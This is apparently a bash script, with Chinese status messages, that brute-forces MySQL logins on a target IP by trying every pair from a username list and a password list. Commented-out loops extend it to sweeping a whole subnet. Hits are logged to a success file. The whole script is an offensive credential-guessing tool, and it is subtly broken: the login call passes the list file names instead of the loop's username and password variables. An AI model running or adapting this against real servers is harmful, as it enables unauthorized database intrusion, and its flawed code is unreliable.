#!/bin/bash
fileno=0
sucess=0

echo -e "\033[32m 开始IP:$1 \033[0m "
#OK=No
#ip1=$(echo $1 | awk -F '.' '{print $1}')
#ip2=$(echo $1 | awk -F '.' '{print $2}')
#while [ $OK == "No" ] ; do
#  for a in {1..254} ;do
#    for b in {1..254} ;do
#     IPIP=$ip1.$ip2.$a.$b
IPIP=$1
        userline=$(cat $2 | wc -l)
        for h in $(seq 1 $userline) ; do
          username=$(cat $2 | head -n $h | tail -n 1)
          passline=$(cat $3 | wc -l)
          for j in $(seq 1 $passline) ; do
            password=$(cat $3 | head -n $j | tail -n 1)
#	    echo -e "\033[32m $IPIP,$username,$password \033[0m"
            timeout 0.05s mysql -u $2 -p$3 -h $IPIP -e "show databases" &>/dev/null
            if [ $? -eq 0 ] ; then
              echo "$IPIP,$3" >> ./sucesslist.log
              sucess=$[$sucess+1]
            else
              echo  "$IPIP,$username,$password----失败" >> ./No.log
            fi
  	  if [[ $h -eq $userline && $j -eq $passline ]];  then
		echo -e "\033[32m 有一个IP扫描完成$IPIP,成功数为:$sucess \033[0m "
		OK=Yes
	  fi
          done
        done
#      done

#    done

#  done

